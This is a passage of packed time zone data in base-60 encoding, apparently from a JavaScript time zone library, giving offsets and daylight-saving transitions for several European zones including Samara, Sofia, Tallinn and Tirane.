1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|39e5","Europe/Samara|LMT +03 +04 +05|-3k.k -30 -40 -50|0123232323232323232121232323232323232323232323232323232323212|-22WM0 qH90 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 2pB0 1cM0 1fA0 2y10 14m0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 2sp0 WM0|12e5","Europe/Saratov|LMT +03 +04 +05|-34.i -30 -40 -50|012323232323232321212121212121212121212121212121212121212121212|-22WM0 qH90 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 2pB0 1cM0 1cM0 1cM0 1fA0 1cM0 3Co0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0 5810|","Europe/Simferopol|LMT SMT EET MSK CEST CET MSD EEST MSK|-2g.o -2g -20 -30 -20 -10 -40 -30 -40|0123454543636363636363636363272727636363727272727272727272727272727272727283|-3D8Og.o 1LUM0.o eUog rEn0 2qs0 WM0 1fA0 1cM0 3V0 1u0L0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1Q00 4eN0 1cM0 1cM0 1cM0 1cM0 dV0 WO0 1cM0 1cM0 1fy0 1o30 11B0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11z0 1nW0|33e4","Europe/Sofia|LMT IMT EET CET CEST EEST|-1x.g -1U.U -20 -10 -20 -30|0123434325252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252|-3D8Nx.g AiLA.k 1UFeU.U WM0 1fA0 1cM0 1cM0 1cN0 1mKH0 1dd0 1fb0 1ap0 1fb0 1a20 1fy0 1a30 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cK0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 1nX0 11E0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|12e5","Europe/Tallinn|LMT TMT CET CEST EET MSK MSD EEST|-1D -1D -10 -20 -20 -30 -40 -30|0123214532323565656565656565657474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474747474|-3D8ND 1wI00 teD 11A0 1Ta0 4rXl KSLD 2FX0 2Jg0 WM0 1fA0 1cM0 18J0 1sTX0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cN0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o10 11A0 1qM0 5QM0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|41e4","Europe/Tirane|LMT CET CEST|-1j.k -10 -20|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2glBj.k 14pcj.k 5LC0 WM0 4M0 1fCK0 10n0 1op0 11z0 1pd0 11z0 1qN0 WL0 1qp0 Xb0 1qp0 Xb0 1qp0 11z0 1lB0 11z0 1qN0 11z0 1iN0 16n0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 